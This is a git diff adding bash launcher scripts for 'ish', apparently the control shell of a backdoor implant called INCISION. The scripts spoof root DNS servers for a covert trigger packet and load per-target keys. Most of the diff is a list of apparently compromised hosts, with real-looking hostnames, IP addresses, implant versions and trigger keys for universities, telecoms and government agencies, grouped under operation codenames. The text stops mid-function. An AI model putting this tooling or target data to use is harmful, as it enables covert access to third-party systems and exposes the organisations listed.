ns.psi.net + noc.umd.edu gw.home.vix.com nic.nordu.net + localip remoteip dontcare" + + +## +## Functions to setup the root server used for the trigger packet. +## These functions export environment variables +## needed by `ish' in crafting the trigger packet. +## DNS_NAME +## DNS_IP +## DNS_SOA +## + +rs.internic.net() { # A.ROOT-SERVERS.NET + export DNS_NAME=rs.internic.net + export DNS_IP=198.41.0.4 + export DNS_SOA=markk +} + +venera.isi.edu() { # B.ROOT-SERVERS.NET + export DNS_NAME=venera.isi.edu + export DNS_IP=128.9.0.107 + export DNS_SOA=koda +} + +ns.psi.net() { # C.ROOT-SERVERS.NET + export DNS_NAME=ns.psi.net + export DNS_IP=192.33.4.12 + export DNS_SOA=hostmaster +} + +noc.umd.edu() { # D.ROOT-SERVERS.NET + export DNS_NAME=NOC.UMD.EDU + export DNS_IP=128.8.10.90 + export DNS_SOA=hostmaster +} + +gw.home.vix.com() { # F.ROOT-SERVERS.NET + export DNS_NAME=gw.home.vix.com + export DNS_IP=192.5.5.241 + export DNS_SOA=postmaster +} + +nic.nordu.net() { # I.ROOT-SERVERS.NET + export DNS_NAME=nic.nordu.net + export DNS_IP=192.36.148.17 + export DNS_SOA=hostmaster +} + +mindspring.net() { + export DNS_NAME=itchy.mindspring.net + export DNS_IP=207.69.200.210 + export DNS_SOA=hostmaster +} + +remoteip() { + export DNS_NAME=ns2.ix.netcom.com + export DNS_IP=$L_ip + export DNS_SOA=hostmaster + echo "*** Using Remote IP for trigger ***" +} + +localip() { + export DNS_NAME=ns2.ix.netcom.com + getipaddr + export DNS_IP=$ip + export DNS_SOA=hostmaster + echo "*** Using local IP for trigger ***" +} + +dontcare() { + case $(date +%a) in + Mon ) venera.isi.edu ;; + Tue ) ns.psi.net ;; + Wed ) rs.internic.net ;; + Thu ) gw.home.vix.com ;; + Fri ) nic.nordu.net ;; + * ) rs.internic.net ;; + esac +} + +lab.test.net() { + export DNS_NAME=lab.test.net + export DNS_IP=10.1.2.3 + export DNS_SOA=markk +} + + +## +## Functions to setup the target's keys +## These functions export the environment variables +## needed by `tn' for operation. +## TARG_TEL key used during the telnet session +## If this is not defined, then assume we're using the +## new public key capability. +## TARG_AYT key used in the DNS trigger packet +## O_TARG_AYT key used prior to an upgrade. Remove after reboot. +## UTC_OFFSET target UTC adjustment +## expr $(date -u +%Y%j%H%M) - $(date -u +%Y%j%H%M) +## theirs ours +## +## If needed, the "special" port 17325 gives dst port 53 in triggers. +## +## The Following Section is computer Generated from the IKT +##--------------------------------------------------------------- + +# +# IMPORTANT! +# 20:05:55 18-JUN-2002 : IKT generated entries. +# +# Any modifications made below, are temporary. +# For permament modifications use the IKT web I/F. +# + +keylist="" + + +##--------------------------------------------------------------- +## End of Computer generated section + + +## +## Utility functions +## + +setupkeys() { + local host=$1 + + case $host in + -h | -? ) usage ;; + * ) + if [ $keys ]; then + $keys + return + fi + + echo + echo -e "\t--- Select target keys ---" + echo + + PS3=$(echo -e "\nkeys? ") + select keyinitfct in $keylist; do + if [ $keyinitfct ]; then + $keyinitfct + break + else + echo "Select a listed number." + echo + fi + done + ;; + esac +} + +ckupgrade() { + if [ ${O_TARG_AYT:+1} ]; then + echo -n "Do you want to use the old keys? [n] " + read ans + if [ ${ans:-"n"} = "y" ]; then + export TARG_AYT_new=$TARG_AYT + export TARG_AYT=$O_TARG_AYT + fi + fi +} + +setupdns() { + if [ $rootdns ]; then + $rootdns + return + fi + + echo + echo -e "\t--- Select root DNS server for trigger ---" + echo + + PS3=$(echo -e "\nDNS? ") + select rootdns in $dnslist; do + if [ $rootdns ]; then + $rootdns + break + else + echo "Select a listed number." + echo + fi + done +} + +dooptions() { + getipaddr + local i_opt="-i $ip " + local o_opt=${UTC_OFFSET:+"-o $UTC_OFFSET "} + + n=1 + g_set=0 + while [ $# -gt 0 ]; do + case $1 in + -i | -c ) i_set=1 + L_ip=${2%:*} ;; # xmit trigger from this IP addr + -o ) o_set=1 ;; # make a time adj. in trigger + -l ) l_set=$n ;; # use local IP for trigger + -g ) g_set=1 ;; # WRT: Are we using a gateway ? + esac + + ## Build arg list without the "-l" option. + [ ${l_set:-0} -eq $n ] || no_l=$(echo "$no_l $1 ") + + n=$((n+1)) + shift + done + + [ ${i_set:+1} ] || tn_options=$(echo "$tn_options $i_opt ") + [ ${o_set:+1} ] || tn_options=$(echo "$tn_options $o_opt ") + [ ${l_set:+1} ] && [ $g_set -eq 0 ] && localip && cmdline=$no_l + [ ${l_set:+1} ] && [ $g_set -eq 1 ] && remoteip && cmdline=$no_l +} + +getipaddr() { + if [ ! "$NOppp" ] ; then + ifaddr ppp0 + [ -n "$ifip" ] && ip=$ifip && echo "using ppp0" && return + fi + + ifaddr eth0 + [ -n "$ifip" ] && ip=$ifip && echo "using eth0" && return + + ip=$(hostname -i) +} + +ifaddr() { + ifip=$(ifconfig $1 2> /dev/null | grep "inet addr:" | \ + cut -d: -f2 | cut -d' ' -f1 ) +} + +echoenv() { + echo + echo "- Environment variable setup..." + echo " DNS_NAME = $DNS_NAME" + echo " DNS_IP = $DNS_IP" + echo " DNS_SOA = $DNS_SOA" + echo " TARG_TEL = $TARG_TEL" + [ ${TARG_AYT_new:+1} ] && + echo " TARG_AYT = $TARG_AYT_new resetting to old keys..." + echo " TARG_AYT = $TARG_AYT" + [ ${O_TARG_AYT:+1} ] && echo " O_TARG_AYT = $O_TARG_AYT" + [ ${UTC_OFFSET:+1} ] && echo " UTC_OFFSET = $UTC_OFFSET" + echo +} + +usage() { + echo + echo " $0 is a bash shell script that sets up the" + echo " environment for \`ish', the INCISION shell." + echo " All command line args are passed along to \`ish'." + echo " Options to \`ish' are..." + echo + ish -h + exit +} + + +## +## Run the functions to setup the environment for INCISION's shell `ish'. +## + +eval targ=\${$#} # note: doesn't handle port arg at end of command line +setupkeys $targ +ckupgrade +setupdns +dooptions $cmdline + +echoenv +echo running: ish $tn_options $cmdline +echo + +eval ish $tn_options \$cmdline diff --git a/Linux/bin/tn.spayed b/Linux/bin/tn.spayed new file mode 100755 index 0000000..e5f361a --- /dev/null +++ b/Linux/bin/tn.spayed @@ -0,0 +1,1917 @@ +#!/usr/bin/env bash + +## +## Global variables used. +## + +## Uncomment & set keys/rootdns if you don't want to be prompted. + +#keys=TARGET +[ ${rootdns:+1} ] || rootdns=dontcare +#rootdns=localip + +PATH=$PATH:$(dirname $0):. + +cmdline=$@ + +dnslist="rs.internic.net venera.isi.edu ns.psi.net + noc.umd.edu gw.home.vix.com nic.nordu.net + localip remoteip dontcare" + + +## +## Functions to setup the root server used for the trigger packet. +## These functions export environment variables +## needed by `ish' in crafting the trigger packet. +## DNS_NAME +## DNS_IP +## DNS_SOA +## + +rs.internic.net() { # A.ROOT-SERVERS.NET + export DNS_NAME=rs.internic.net + export DNS_IP=198.41.0.4 + export DNS_SOA=markk +} + +venera.isi.edu() { # B.ROOT-SERVERS.NET + export DNS_NAME=venera.isi.edu + export DNS_IP=128.9.0.107 + export DNS_SOA=koda +} + +ns.psi.net() { # C.ROOT-SERVERS.NET + export DNS_NAME=ns.psi.net + export DNS_IP=192.33.4.12 + export DNS_SOA=hostmaster +} + +noc.umd.edu() { # D.ROOT-SERVERS.NET + export DNS_NAME=NOC.UMD.EDU + export DNS_IP=128.8.10.90 + export DNS_SOA=hostmaster +} + +gw.home.vix.com() { # F.ROOT-SERVERS.NET + export DNS_NAME=gw.home.vix.com + export DNS_IP=192.5.5.241 + export DNS_SOA=postmaster +} + +nic.nordu.net() { # I.ROOT-SERVERS.NET + export DNS_NAME=nic.nordu.net + export DNS_IP=192.36.148.17 + export DNS_SOA=hostmaster +} + +mindspring.net() { + export DNS_NAME=itchy.mindspring.net + export DNS_IP=207.69.200.210 + export DNS_SOA=hostmaster +} + +remoteip() { + export DNS_NAME=ns2.ix.netcom.com + export DNS_IP=$L_ip + export DNS_SOA=hostmaster + echo "*** Using Remote IP for trigger ***" +} + +localip() { + export DNS_NAME=ns2.ix.netcom.com + getipaddr + export DNS_IP=$ip + export DNS_SOA=hostmaster + echo "*** Using local IP for trigger ***" +} + +dontcare() { + case $(date +%a) in + Mon ) venera.isi.edu ;; + Tue ) ns.psi.net ;; + Wed ) rs.internic.net ;; + Thu ) gw.home.vix.com ;; + Fri ) nic.nordu.net ;; + * ) rs.internic.net ;; + esac +} + +lab.test.net() { + export DNS_NAME=lab.test.net + export DNS_IP=10.1.2.3 + export DNS_SOA=markk +} + + +## +## Functions to setup the target's keys +## These functions export the environment variables +## needed by `tn' for operation. +## TARG_TEL key used during the telnet session +## If this is not defined, then assume we're using the +## new public key capability. +## TARG_AYT key used in the DNS trigger packet +## O_TARG_AYT key used prior to an upgrade. Remove after reboot. +## UTC_OFFSET target UTC adjustment +## expr $(date -u +%Y%j%H%M) - $(date -u +%Y%j%H%M) +## theirs ours +## +## If needed, the "special" port 17325 gives dst port 53 in triggers. +## +########## 231 INCISION keys included below ########## + +keylist=" + A_______________a.a_____________________________1.1.1.1 + BOBBY___________bob.bob.com_____________________1.2.3.4 + BOBB____________bob.bob_________________________1.2.3.4 + BOO_____________boo.boo.net_____________________1.2.3.4 + CHAZZTEST_______test..nonet.net_________________1.2.3.4 + CRYPTICSENTINEL_host1.domain____________________1.2.3.4 + DEMO____________a.a.b.c_________________________1.2.3.4 + DEMO____________a.b.c.d_________________________1.2.3.4 + DORKUS__________bob.dork.com____________________1.2.3.4 + DORK____________bob.bob.com_____________________1.2.3.4 + DORK____________dork.dork.com___________________1.2.3.4 + GOSPELHOGGING___pbx.none________________________1.2.3.4 + INTONATION______METCOC5CM.clarent.com___________213.132.50.10 + INTONATION______MTCCSUN.imtech.ernet.in_________202.141.121.198 + INTONATION______Ns2.rosprint.ru_________________194.84.23.125 + INTONATION______bgl1dr1-a-fixed.sancharnet.in___61.1.128.17 + INTONATION______bgl1pp1-a-fixed.sancharnet.in___61.1.128.71 + INTONATION______bj02.cww.com____________________202.84.16.34 + INTONATION______butt-head.mos.ru________________10.30.1.130 + INTONATION______dcproxy1.thrunet.com____________210.117.65.44 + INTONATION______dns2.net1.it____________________213.140.195.7 + INTONATION______enterprise.telesat.com.co_______66.128.32.67 + INTONATION______gate.technopolis.kirov.ru_______217.9.148.61 + INTONATION______imms1.macau.ctm.net_____________202.175.36.54 + INTONATION______indy.fjmu.edu.cn________________202.112.176.3 + INTONATION______kacstserv.kacst.edu.sa__________212.26.44.132 + INTONATION______known.counsellor.gov.cn_________61.151.243.13 + INTONATION______laleh.itrc.ac.ir._______________80.191.2.2 + INTONATION______mail.bangla.net_________________203.188.252.3 + INTONATION______mail.edi.edu.cn_________________218.104.71.61 + INTONATION______mail.hallym.ac.kr_______________210.115.225.25 + INTONATION______mail.hangzhouit.gov.cn__________202.107.197.199 + INTONATION______mail.hz.zh.cn___________________202.101.172.6 + INTONATION______mail.imamu.edu.sa_______________212.138.48.8 + INTONATION______mail.siom.ac.cn_________________210.72.9.2 + INTONATION______mail.tropmet.res.in_____________203.199.143.2 + INTONATION______mail.tsinghua.edu.cn____________166.111.8.17 + INTONATION______mail.zzu.edu.cn_________________222.22.32.88 + INTONATION______mail1.371.net___________________218.29.0.195 + INTONATION______mailgw.thtf.com.cn______________218.107.133.12 + INTONATION______mailhub.minaffet.gov.rw_________62.56.174.152 + INTONATION______mails.cneic.com.cn______________218.247.159.113 + INTONATION______mailscan3.cau.ctm.net___________202.175.36.180 + INTONATION______mailsrv02.macau.ctm.net_________202.175.3.120 + INTONATION______mailsvra.macau.ctm.net__________202.175.3.119 + INTONATION______mbi3.kuicr.kyoto-u.ac.jp________133.103.101.21 + INTONATION______mcd-su-2.mos.ru_________________10.34.100.2 + INTONATION______mipsa.ciae.ac.cn________________202.38.8.1 + INTONATION______mpkhi-bk.multi.net.pk___________202.141.224.40 + INTONATION______msgstore2.pldtprv.net___________192.168.120.3 + INTONATION______n02.unternehmen.com_____________62.116.144.147 + INTONATION______ndl1mc1-a-fixed.sancharnet.in___61.0.0.46 + INTONATION______ndl1mx1-a-fixed.sancharnet.in___61.0.0.46 + INTONATION______ndl1pp1-a-fixed.sancharnet.in___61.0.0.71 + INTONATION______no1.unternehemen.com____________62.116.144.150 + INTONATION______no3.unternehmen.org_____________62.116.144.190 + INTONATION______ns.cac.com.cn___________________202.98.102.5 + INTONATION______ns1.2911.net____________________202.99.41.9 + INTONATION______ns1.multi.net.pk________________202.141.224.34 + INTONATION______ns2.xidian.edu.cn_______________202.117.112.4 + INTONATION______orion.platino.gov.ve____________161.196.215.67 + INTONATION______outweb.nudt.edu.cn______________202.197.0.185 + INTONATION______pop.net21pk.com_________________203.135.45.66 + INTONATION______post.netchina.com.cn____________202.94.1.48 + INTONATION______public2.zz.ha.cn________________218.29.0.200 + INTONATION______sea.net.edu.cn__________________202.112.5.66 + INTONATION______smmu-ipv6.smmu.edu.cn___________202.121.224.5 + INTONATION______smtp.2911.net___________________218.245.255.5 + INTONATION______smtp.macau.ctm.net______________202.175.36.220 + INTONATION______sonatns.sonatrach.dz____________193.194.75.35 + INTONATION______sparc.nour.net.sa_______________212.12.160.26 + INTONATION______sps01.office.ctm.net____________202.175.4.38 + INTONATION______sunhe.jinr.ru___________________159.93.18.100 + INTONATION______sussi.cressoft.com.pk___________202.125.140.194 + INTONATION______ultra2.tsinghua.edu.cn__________166.111.120.10 + INTONATION______unknown.counsellor.gov.cn_______61.151.243.13 + INTONATION______voyager1.telesat.com.co_________66.128.32.68 + INTONATION______webserv.mos.ru__________________10.30.10.2 + INTONATION______www.siom.ac.cn__________________202.127.16.44 + INTONATION______www21.counsellor.gov.cn_________130.34.115.132 + INTONATION______www21.counsellor.gov.cn_________61.151.243.13 + JOHNS_OP________bob.bob.com_____________________1.2.3.4 + JOHNTEST________bob.bob.com_____________________1.2.3.4 + JOHNTEST________john.john.com___________________1.2.3.4 + LAMPSWITCH______unknown.unknown_________________1.2.3.4 + PITCHIMPAIR_____Spirit.das2.ru__________________81.94.47.83 + PITCHIMPAIR_____anie.sarenet.es_________________192.148.167.2 + PITCHIMPAIR_____aries.ficnet.net________________202.145.137.19 + PITCHIMPAIR_____asic.e-technik.uni-rostock.de___139.30.202.8 + PITCHIMPAIR_____burgoa.sarenet.es_______________194.30.32.242 + PITCHIMPAIR_____cad-server1.EE.NCTU.edu.tw______140.113.212.150 + PITCHIMPAIR_____ciidet.rtn.net.mx_______________204.153.24.32 + PITCHIMPAIR_____cmusun8.unige.ch________________129.194.97.8 + PITCHIMPAIR_____colpisaweb.sarenet.es___________194.30.32.229 + PITCHIMPAIR_____connection1.connection.com.br___200.160.208.4 + PITCHIMPAIR_____connection2.connection.com.br___200.160.208.8 + PITCHIMPAIR_____dns1.unam.mx____________________132.248.204.1 + PITCHIMPAIR_____dns2.chinamobile.com____________211.137.241.34 + PITCHIMPAIR_____dns2.unam.mx____________________132.248.10.2 + PITCHIMPAIR_____dragon.unideb.hu________________193.6.138.65 + PITCHIMPAIR_____dukas.upc.es____________________147.83.2.62 + PITCHIMPAIR_____e3000.hallym.ac.kr______________210.115.225.16 + PITCHIMPAIR_____electra.otenet.gr_______________195.170.2.3 + PITCHIMPAIR_____fl.sun-ip.or.jp_________________150.27.1.10 + PITCHIMPAIR_____ftp.hyunwoo.co.kr_______________211.232.97.195 + PITCHIMPAIR_____ganeran.sarenet.es______________194.30.32.177 + PITCHIMPAIR_____geosun1.unige.ch________________129.194.41.4 + PITCHIMPAIR_____giada.ing.unirc.it______________192.167.50.14 + PITCHIMPAIR_____hk.sun-ip.or.jp_________________150.27.1.5 + PITCHIMPAIR_____iconoce1.sarenet.es_____________194.30.0.16 + PITCHIMPAIR_____icrsun.kuicr.kyoto-u.ac.jp______133.3.5.20 + PITCHIMPAIR_____ids2.int.ids.pl_________________195.117.3.32 + PITCHIMPAIR_____iti-idsc.net.eg_________________163.121.12.2 + PITCHIMPAIR_____kommsrv.RZ.UniBw-Muenchen.de____137.193.10.8 + PITCHIMPAIR_____logos.uba.uva.nl________________145.18.84.96 + PITCHIMPAIR_____ltv.com.ve______________________200.75.112.26 + PITCHIMPAIR_____mail.a-1.net.cn_________________210.77.147.84 + PITCHIMPAIR_____mail.bhu.ac.in__________________202.141.107.15 + PITCHIMPAIR_____mail.btbu.edu.cn________________211.82.112.23 + PITCHIMPAIR_____mail.dyu.edu.tw_________________163.23.1.73 + PITCHIMPAIR_____mail.et.ntust.edu.tw____________140.118.2.53 + PITCHIMPAIR_____mail.hanseo.ac.kr_______________203.234.72.4 + PITCHIMPAIR_____mail.hccc.gov.tw________________210.241.6.97 + PITCHIMPAIR_____mail.howon.ac.kr________________203.246.64.14 + PITCHIMPAIR_____mail.irtemp.na.cnr.it___________140.164.20.20 + PITCHIMPAIR_____mail.jccs.com.sa________________212.70.32.100 + PITCHIMPAIR_____mail.lzu.edu.cn_________________202.201.0.136 + PITCHIMPAIR_____mail.mae.co.kr__________________210.118.179.1 + PITCHIMPAIR_____mail.must.edu.tw________________203.68.220.40 + PITCHIMPAIR_____mail.ncue.edu.tw________________163.23.225.100 + PITCHIMPAIR_____mail.tccn.edu.tw________________203.64.35.108 + PITCHIMPAIR_____mail.tpo.fi_____________________193.185.60.42 + PITCHIMPAIR_____mail.univaq.it__________________192.150.195.10 + PITCHIMPAIR_____mail.utc21.co.kr________________211.40.103.194 + PITCHIMPAIR_____mail1.imtech.res.in_____________203.90.127.22 + PITCHIMPAIR_____mailer.ing.unirc.it_____________192.167.50.202 + PITCHIMPAIR_____mailgw.idom.es__________________194.30.33.29 + PITCHIMPAIR_____matematica.univaq.it____________192.150.195.38 + PITCHIMPAIR_____mbox.com.eg_____________________213.212.208.10 + PITCHIMPAIR_____milko.stacken.kth.se____________130.237.234.3 + PITCHIMPAIR_____moneo.upc.es____________________147.83.2.91 + PITCHIMPAIR_____mtrader2.grupocorreo.es_________194.30.32.29 + PITCHIMPAIR_____mxtpa.biglobe.net.tw____________202.166.255.103 + PITCHIMPAIR_____myhome.elim.net_________________203.239.130.7 + PITCHIMPAIR_____newin.int.rtbf.be_______________212.35.107.2 + PITCHIMPAIR_____niveau.math.uni-bremen.de_______134.102.124.201 + PITCHIMPAIR_____nl37.yourname.nl________________82.192.68.37 + PITCHIMPAIR_____noc25.corp.home.ad.jp___________203.165.5.82 + PITCHIMPAIR_____noc33.corp.home.ad.jp___________203.165.5.74 + PITCHIMPAIR_____noc35.corp.home.ad.jp___________203.165.5.114 + PITCHIMPAIR_____noc37.corp.home.ad.jp___________203.165.5.117 + PITCHIMPAIR_____noc38.corp.home.ad.jp___________203.165.5.118 + PITCHIMPAIR_____nodep.sun-ip.or.jp______________150.27.1.2 + PITCHIMPAIR_____noya.bupt.edu.cn________________202.112.96.2 + PITCHIMPAIR_____ns.anseo.dankook.ac.kr__________203.237.216.2 + PITCHIMPAIR_____ns.bigobe.net.tw________________202.166.255.98 + PITCHIMPAIR_____ns.bur.hiroshima-u.ac.jp________133.41.145.11 + PITCHIMPAIR_____ns.cec.uchile.cl________________200.9.97.3 + PITCHIMPAIR_____ns.chining.com.tw_______________202.39.26.50 + PITCHIMPAIR_____ns.eyes.co.kr___________________210.98.224.88 + PITCHIMPAIR_____ns.gabontelecom.com_____________217.77.71.52 + PITCHIMPAIR_____ns.global-one.dk________________194.234.33.5 + PITCHIMPAIR_____ns.hallym.ac.kr_________________210.115.225.11 + PITCHIMPAIR_____ns.hanseo.ac.kr_________________203.234.72.1 + PITCHIMPAIR_____ns.hufs.ac.kr___________________203.253.64.1 + PITCHIMPAIR_____ns.icu.ac.kr____________________210.107.128.31 + PITCHIMPAIR_____ns.ing.unirc.it_________________192.167.50.2 + PITCHIMPAIR_____ns.khmc.or.kr___________________203.231.128.1 + PITCHIMPAIR_____ns.kimm.re.kr___________________203.241.84.10 + PITCHIMPAIR_____ns.kix.ne.kr____________________202.30.94.10 + PITCHIMPAIR_____ns.rtn.net.mx___________________204.153.24.1 + PITCHIMPAIR_____ns.stacken.kth.se_______________130.237.234.17 + PITCHIMPAIR_____ns.unam.mx______________________132.248.253.1 + PITCHIMPAIR_____ns.univaq.it____________________192.150.195.20 + PITCHIMPAIR_____ns.youngdong.ac.kr______________202.30.58.1 + PITCHIMPAIR_____ns1.bangla.net__________________203.188.252.2 + PITCHIMPAIR_____ns1.btc.bw______________________168.167.168.34 + PITCHIMPAIR_____ns1.bttc.ru_____________________80.82.162.118 + PITCHIMPAIR_____ns1.gx.chinamobile.com__________211.138.252.30 + PITCHIMPAIR_____ns1.ias.ac.in___________________203.197.183.66 + PITCHIMPAIR_____ns1.starnets.ro_________________193.226.61.68 + PITCHIMPAIR_____ns1.sun-ip.or.jp________________150.27.1.8 + PITCHIMPAIR_____ns1.youngdong.ac.kr_____________202.30.58.5 + PITCHIMPAIR_____ns2-backup.tpo.fi_______________193.185.60.40 + PITCHIMPAIR_____ns2.ans.co.kr___________________210.126.104.74 + PITCHIMPAIR_____ns2.chem.tohoku.ac.jp___________130.34.115.132 + PITCHIMPAIR_____ns2.otenet.gr___________________195.170.2.1 + PITCHIMPAIR_____nsce1.ji-net.com________________203.147.62.229 + PITCHIMPAIR_____oiz.sarenet.es__________________192.148.167.17 + PITCHIMPAIR_____orhi.sarenet.es_________________192.148.167.5 + PITCHIMPAIR_____pastow.e-technik.uni-rostock.de_139.30.200.36 + PITCHIMPAIR_____pfdsun.kuicr.kyoto-u.ac.jp______133.3.5.2 + PITCHIMPAIR_____pitepalt.stacken.kth.se_________130.237.234.151 + PITCHIMPAIR_____proxy1.tcn.ed.jp________________202.231.176.242 + PITCHIMPAIR_____rabbit.uj.edu.pl________________149.156.89.33 + PITCHIMPAIR_____s03.informatik.uni-bremin.de____134.102.201.53 + PITCHIMPAIR_____saturn.mni.fh-giessen.de________212.201.7.21 + PITCHIMPAIR_____sci.s-t.au.ac.th________________168.120.9.1 + PITCHIMPAIR_____scsun25.unige.ch________________129.194.49.47 + PITCHIMPAIR_____seoildsp.co.kr__________________218.36.28.250 + PITCHIMPAIR_____servidor2.upc.es________________147.83.2.3 + PITCHIMPAIR_____smuc.smuc.ac.kr_________________203.237.176.1 + PITCHIMPAIR_____snacks.stacken.kth.se___________130.237.234.152 + PITCHIMPAIR_____son-goki.sun-ip.or.jp___________150.27.1.11 + PITCHIMPAIR_____sparc20mc.ing.unirc.it__________192.167.50.12 + PITCHIMPAIR_____spin.lzu.edu.cn_________________202.201.0.131 + PITCHIMPAIR_____splash-atm.upc.es_______________147.83.2.116 + PITCHIMPAIR_____sun.bq.ub.es____________________161.116.154.1 + PITCHIMPAIR_____sunbath.rrze.uni-erlangen.de____131.188.3.200 + PITCHIMPAIR_____sunfirev250.cancilleria.gob.ni__165.98.181.5 + PITCHIMPAIR_____tamarugo.cec.uchile.cl__________200.9.97.3 + PITCHIMPAIR_____tayuman.info.com.ph_____________203.172.11.21 + PITCHIMPAIR_____theta.uoks.uj.edu.pl____________149.156.89.30 + PITCHIMPAIR_____tologorri.grupocorreo.es________194.30.32.109 + PITCHIMPAIR_____tuapewa.polytechnic.edu.na______196.31.225.2 + PITCHIMPAIR_____uji.kyoyo-u.ac.jp_______________133.3.5.33 + PITCHIMPAIR_____ultra10.nanya.edu.tw____________203.68.40.6 + PITCHIMPAIR_____unknown.unknown_________________555.10.31.145 + PITCHIMPAIR_____v244.kyoyo-u.ac.jp______________133.3.5.33 + PITCHIMPAIR_____v246.kyoyo-u.ac.jp______________133.3.5.2 + PITCHIMPAIR_____war.rkts.com.tr_________________195.142.144.125 + PITCHIMPAIR_____webmail.s-t.au.ac.th____________168.120.9.2 + PITCHIMPAIR_____win.hallym.ac.kr________________210.115.225.17 + PITCHIMPAIR_____winner.hallym.ac.kr_____________210.115.225.10 + PITCHIMPAIR_____winners.yonsei.ac.kr____________210.115.225.14 + PITCHIMPAIR_____www.bygden.nu___________________192.176.10.178 + PITCHIMPAIR_____www.cfd.or.jp___________________210.198.16.75 + PITCHIMPAIR_____www.pue.uia.mx__________________192.100.196.7 + PITCHIMPAIR_____zanburu.grupocorreo.es__________194.30.32.113 + TEST____________bob.bob.com_____________________1.2.3.4 + TEST____________test.test_______________________1.2.3.4 + " + +A_______________a.a_____________________________1.1.1.1() { +# A___a.a___1.1.1.1___20040716-152133 + ## INCISION Version:1.0 OS:i386-unknown-freebsd4.4 + export TARG_AYT="7146d5c2 7eebf9b0 da807511" +} + +BOBBY___________bob.bob.com_____________________1.2.3.4() { +# BOBBY___bob.bob.com___1.2.3.4___20060803-114950 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="86eaef4e add2891c 482c8820" +} + +BOBB____________bob.bob_________________________1.2.3.4() { +# BOBB___bob.bob___1.2.3.4___20051129-152402 + ## INCISION Version:4.10.2.11 OS:i386-pc-solaris2.8 + export TARG_AYT="b956823b c66a8023 57678869" +} + +BOO_____________boo.boo.net_____________________1.2.3.4() { +# BOO___boo.boo.net___1.2.3.4___20050711-151306 + ## INCISION Version:4.11.5.3 OS:i686-pc-linux-gnu-2.4.29 + export TARG_AYT="4f325019 f457af10 b951a7f3" +} + +CHAZZTEST_______test..nonet.net_________________1.2.3.4() { +# CHAZZTEST___test..nonet.net___1.2.3.4___20060921-114719 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="1715060c 415ce5e0 f7145b8b" +} + +CRYPTICSENTINEL_host1.domain____________________1.2.3.4() { +# CRYPTICSENTINAL___host1.domain___1.2.3.4___20051223-111017 + ## INCISION Version:4.11.8.2 OS:i686-pc-linux-gnu-2.4.21-37.EL + export TARG_AYT="12345678 9abcdef0 12345678" +} + +DEMO____________a.a.b.c_________________________1.2.3.4() { +# DEMO___a.a.b.c___1.2.3.4___20030328-152608 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="93a544a1 3e8fe558 f030a425" +} + +DEMO____________a.b.c.d_________________________1.2.3.4() { +# DEMO___a.b.c.d___1.2.3.4___20030825-140652 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.6 + export TARG_AYT="5cc7316e 99efbf83 b55c1af5" +} + +DORKUS__________bob.dork.com____________________1.2.3.4() { +# DORKUS___bob.dork.com___1.2.3.4___20061005-181733 + ## INCISION Version:4.11.8.2 OS:i686-pc-linux-gnu-2.4.21-37.EL + export TARG_AYT="bb4b8c9d 82c66f97 431ec980" +} + +DORK____________bob.bob.com_____________________1.2.3.4() { +# DORK___bob.bob.com___1.2.3.4___20060724-173621 + ## INCISION Version:4.10.2.14 OS:sparc-sun-solaris2.7 + export TARG_AYT="df2f5e3f e195725c 74248bbe" +} + +DORK____________dork.dork.com___________________1.2.3.4() { +# DORK___dork.dork.com___1.2.3.4___20060724-183505 + ## INCISION Version:4.10.2.14 OS:sparc-sun-solaris2.7 + export TARG_AYT="b7d09e55 6c778b3b b88d3c4c" +} + +GOSPELHOGGING___pbx.none________________________1.2.3.4() { +# ICEWARRIOR___pbx.none___1.2.3.4___20041222-091442 + ## INCISION Version:4.11.4.1 OS:avaya-linux-2.4.20-AV14 + export TARG_AYT="f894d75b 9cc46a53 0db9cd1a" +} + +INTONATION______METCOC5CM.clarent.com___________213.132.50.10() { +# INTONATION___METCOC5CM.clarent.com___213.132.50.10___20031010-151735 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="65c67e1d 7f972d4b 7a2a9c53" +} + +INTONATION______MTCCSUN.imtech.ernet.in_________202.141.121.198() { +# INTONATION___MTCCSUN.imtech.ernet.in___202.141.121.198___20041018-145536 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="688cd98e c94b4689 40dd5001" +} + +INTONATION______Ns2.rosprint.ru_________________194.84.23.125() { +# INTONATION___Ns2.rosprint.ru___194.84.23.125___20060322-144346 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="9a3c4c8e ab3d55da f5a598e3" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=-1099 +} + +INTONATION______bgl1dr1-a-fixed.sancharnet.in___61.1.128.17() { +# INTONATION___bgl1dr1-a-fixed.sancharnet.in___61.1.128.17___20040323-141833 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="36eb9564 129b94c7 695de5dc" +} + +INTONATION______bgl1pp1-a-fixed.sancharnet.in___61.1.128.71() { +# INTONATION___bgl1pp1-a-fixed.sancharnet.in___61.1.128.71___20040603-151945 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="48d49f80 a37227ba e6a1989c" +} + +INTONATION______bj02.cww.com____________________202.84.16.34() { +# INTONATION___bj02.cww.com___202.84.16.34___20020808-173544 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="37176c26 02d784a7 23b3ebd6" +} + +INTONATION______butt-head.mos.ru________________10.30.1.130() { +# INTONATION___butt-head.mos.ru___10.30.1.130___20061116-130237 + ## INCISION Version:4.10.2.13 OS:sparc-sun-solaris2.6 + export TARG_AYT="0f706922 e577b1ab 1792b625" +} + +INTONATION______dcproxy1.thrunet.com____________210.117.65.44() { +# INTONATION___dcproxy1.thrunet.com___210.117.65.44___20011107-121854 + ## INCISION Version:4.6 OS:sparc-sun-solaris2.7 + export TARG_AYT="d3760159 9cd3188e b06d8031" +} + +INTONATION______dns2.net1.it____________________213.140.195.7() { +# INTONATION___dns2.net1.it___213.140.195.7___20030327-165934 + ## INCISION Version:4.8.3 OS:i686-pc-linux-gnu-2.4.7-10 + export TARG_AYT="5e54ea5e 6b12400d e1d1f239" +} + +INTONATION______enterprise.telesat.com.co_______66.128.32.67() { +# INTONATION___enterprise.telesat.com.co___66.128.32.67___20030124-001006 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.8 + 